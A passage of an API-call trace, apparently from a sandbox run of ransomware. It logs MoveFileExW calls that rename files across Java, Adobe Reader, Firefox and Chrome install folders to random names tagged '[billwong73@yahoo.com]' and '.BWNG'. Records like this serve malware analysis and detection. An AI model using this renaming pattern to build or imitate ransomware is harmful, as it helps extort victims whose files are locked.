returned 0x11640c8 [0113.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557480146) returned 1 [0113.623] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kashgar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].sggiOVDb-sWrDp2Rm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].sggiovdb-swrdp2rm.bwng"), dwFlags=0x1) returned 1 [0113.624] GetTickCount () returned 0x11640c8 [0113.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557608160) returned 1 [0113.624] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\madrid"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].TZfl0SaK-0FDVaOoc.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].tzfl0sak-0fdvaooc.bwng"), dwFlags=0x1) returned 1 [0113.625] GetTickCount () returned 0x11640c8 [0113.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557730409) returned 1 [0113.625] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\samara"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].90cJwNpE-SPPvdO5I.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].90cjwnpe-sppvdo5i.bwng"), dwFlags=0x1) returned 1 [0113.626] GetTickCount () returned 0x11640c8 [0113.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557850490) returned 1 [0113.626] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\volgograd"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].wvW4EyBB-3Zo9Mj8p.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].wvw4eybb-3zo9mj8p.bwng"), dwFlags=0x1) returned 1 [0113.628] GetTickCount () returned 0x11640c8 [0113.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557983884) returned 1 [0113.628] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].fhdyUqFD-tEwgpAt8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].fhdyuqfd-tewgpat8.bwng"), dwFlags=0x1) returned 1 [0113.629] GetTickCount () returned 0x11640c8 [0113.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558109270) returned 1 [0113.629] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\comoro"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].EEHWkB6I-I5LB1JJa.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].eehwkb6i-i5lb1jja.bwng"), dwFlags=0x1) returned 1 [0113.630] GetTickCount () returned 0x11640c8 [0113.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558238202) returned 1 [0113.630] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Apia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\apia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].B9pvUkB6-ehubEBP8.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].b9pvukb6-ehubebp8.bwng"), dwFlags=0x1) returned 1 [0113.632] GetTickCount () returned 0x11640d8 [0113.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558429012) returned 1 [0113.632] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Galapagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\galapagos"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].RE491k4U-05pUGhzy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].re491k4u-05pughzy.bwng"), dwFlags=0x1) returned 1 [0113.633] GetTickCount () returned 0x11640d8 [0113.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558571091) returned 1 [0113.634] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl61.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl61.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Ngdzi6Og-VhSlu3eG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ngdzi6og-vhslu3eg.bwng"), dwFlags=0x1) returned 1 [0113.635] GetTickCount () returned 0x11640d8 [0113.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558691018) returned 1 [0113.635] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Marquesas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\marquesas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].salUvhpJ-Yl0bwIG3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].saluvhpj-yl0bwig3.bwng"), dwFlags=0x1) returned 1 [0113.636] GetTickCount () returned 0x11640d8 [0113.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558825753) returned 1 [0113.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Port_Moresby" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\port_moresby"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].LeE69h6S-OzAoXaTZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].lee69h6s-ozaoxatz.bwng"), dwFlags=0x1) returned 1 [0113.637] GetTickCount () returned 0x11640d8 [0113.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25558961907) returned 1 [0113.638] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].IRktV2z8-kZaSagu2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].irktv2z8-kzasagu2.bwng"), dwFlags=0x1) returned 1 [0113.639] GetTickCount () returned 0x11640d8 [0113.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559090279) returned 1 [0113.639] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol103.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol103.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].5OPRbASa-EcPx47YN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].5oprbasa-ecpx47yn.bwng"), dwFlags=0x1) returned 1 [0113.640] GetTickCount () returned 0x11640d8 [0113.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559205415) returned 1 [0113.640] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].PuxINMgw-pKKXikMB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].puxinmgw-pkkxikmb.bwng"), dwFlags=0x1) returned 1 [0113.641] GetTickCount () returned 0x11640d8 [0113.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559324429) returned 1 [0113.641] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].1MSZuEtN-k2cu6OYd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].1mszuetn-k2cu6oyd.bwng"), dwFlags=0x1) returned 1 [0113.642] GetTickCount () returned 0x11640d8 [0113.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559467528) returned 1 [0113.643] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4ADT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\ast4adt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].QrYeKyDO-sI5hSwPi.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].qryekydo-si5hswpi.bwng"), dwFlags=0x1) returned 1 [0113.644] GetTickCount () returned 0x11640d8 [0113.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559607477) returned 1 [0113.644] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].PFmJxd8H-pzg0lEM0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].pfmjxd8h-pzg0lem0.bwng"), dwFlags=0x1) returned 1 [0113.645] GetTickCount () returned 0x11640d8 [0113.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25559727494) returned 1 [0113.645] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\yst9"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].pTiZnYCo-Lt4peGew.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].ptiznyco-lt4pegew.bwng"), dwFlags=0x1) returned 1 [0113.772] GetTickCount () returned 0x1164164 [0113.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25572412300) returned 1 [0113.772] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].kJ6CGZyX-m9gM5aVB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].kj6cgzyx-m9gm5avb.bwng"), dwFlags=0x1) returned 1 [0113.774] GetTickCount () returned 0x1164164 [0113.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25572664897) returned 1 [0113.775] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].G81O99Cj-oPPMkUqA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].g81o99cj-oppmkuqa.bwng"), dwFlags=0x1) returned 1 [0113.776] GetTickCount () returned 0x1164164 [0113.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25572832883) returned 1 [0113.776] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].6My0zPDA-s7vdGYyT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].6my0zpda-s7vdgyyt.bwng"), dwFlags=0x1) returned 1 [0113.777] GetTickCount () returned 0x1164164 [0113.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25572974074) returned 1 [0113.778] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\[billwong73@yahoo.com].6JFm2bAo-nKWd7du6.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\[billwong73@yahoo.com].6jfm2bao-nkwd7du6.bwng"), dwFlags=0x1) returned 1 [0113.779] GetTickCount () returned 0x1164164 [0113.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25573121775) returned 1 [0113.779] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].iCBFdWxj-a6SNRvK3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].icbfdwxj-a6snrvk3.bwng"), dwFlags=0x1) returned 1 [0113.780] GetTickCount () returned 0x1164164 [0113.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25573251385) returned 1 [0113.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\[billwong73@yahoo.com].sNv0BFMp-WPvlqrXK.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\[billwong73@yahoo.com].snv0bfmp-wpvlqrxk.bwng"), dwFlags=0x1) returned 1 [0113.782] GetTickCount () returned 0x1164164 [0113.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25573510559) returned 1 [0113.783] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].dcMEwwTk-I2NGQCDL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].dcmewwtk-i2ngqcdl.bwng"), dwFlags=0x1) returned 1 [0113.784] GetTickCount () returned 0x1164164 [0113.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25573662676) returned 1 [0113.785] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmiregistry.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmiregistry.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].oOMGHNdO-BhUlKQPR.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].oomghndo-bhulkqpr.bwng"), dwFlags=0x1) returned 1 [0113.942] GetTickCount () returned 0x1164200 [0113.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25589449939) returned 1 [0113.950] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].6wjGEg9u-mer7U24j.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].6wjgeg9u-mer7u24j.bwng"), dwFlags=0x1) returned 1 [0113.952] GetTickCount () returned 0x1164210 [0113.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25590461749) returned 1 [0113.953] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].T1lwvfAX-t113swUL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].t1lwvfax-t113swul.bwng"), dwFlags=0x1) returned 1 [0114.094] GetTickCount () returned 0x116429c [0114.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25604602463) returned 1 [0114.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].YaQ1C9X0-WwMIqW1F.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].yaq1c9x0-wwmiqw1f.bwng"), dwFlags=0x1) returned 1 [0114.096] GetTickCount () returned 0x116429c [0114.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25604835066) returned 1 [0114.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].9vOzHuJh-WlFWmea6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].9vozhujh-wlfwmea6.bwng"), dwFlags=0x1) returned 1 [0114.098] GetTickCount () returned 0x116429c [0114.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25604989226) returned 1 [0114.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].2f5ULKht-PKd9ppux.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].2f5ulkht-pkd9ppux.bwng"), dwFlags=0x1) returned 1 [0114.225] GetTickCount () returned 0x1164329 [0114.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25617718534) returned 1 [0114.225] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].m4bBTesl-wElyme0s.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].m4bbtesl-welyme0s.bwng"), dwFlags=0x1) returned 1 [0114.227] GetTickCount () returned 0x1164329 [0114.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25617891662) returned 1 [0114.227] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Marengo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\marengo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].WCNPEdm0-XnLDJSBb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].wcnpedm0-xnldjsbb.bwng"), dwFlags=0x1) returned 1 [0114.228] GetTickCount () returned 0x1164329 [0114.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25618033729) returned 1 [0114.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].NhzA6WZ8-WdHI4hMT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].nhza6wz8-wdhi4hmt.bwng"), dwFlags=0x1) returned 1 [0114.230] GetTickCount () returned 0x1164329 [0114.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25618199248) returned 1 [0114.230] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].qRUCg0wL-uR4X5kxv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qrucg0wl-ur4x5kxv.bwng"), dwFlags=0x1) returned 1 [0114.231] GetTickCount () returned 0x1164329 [0114.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25618354784) returned 1 [0114.232] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].6IQCDr8W-cqQ4xtXa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].6iqcdr8w-cqq4xtxa.bwng"), dwFlags=0x1) returned 1 [0114.233] GetTickCount () returned 0x1164329 [0114.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25618500911) returned 1 [0114.233] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_hk.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].iwq1om6W-WwbTJzNG.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].iwq1om6w-wwbtjzng.bwng"), dwFlags=0x1) returned 1 [0114.236] GetTickCount () returned 0x1164329 [0114.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25618808414) returned 1 [0114.236] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla 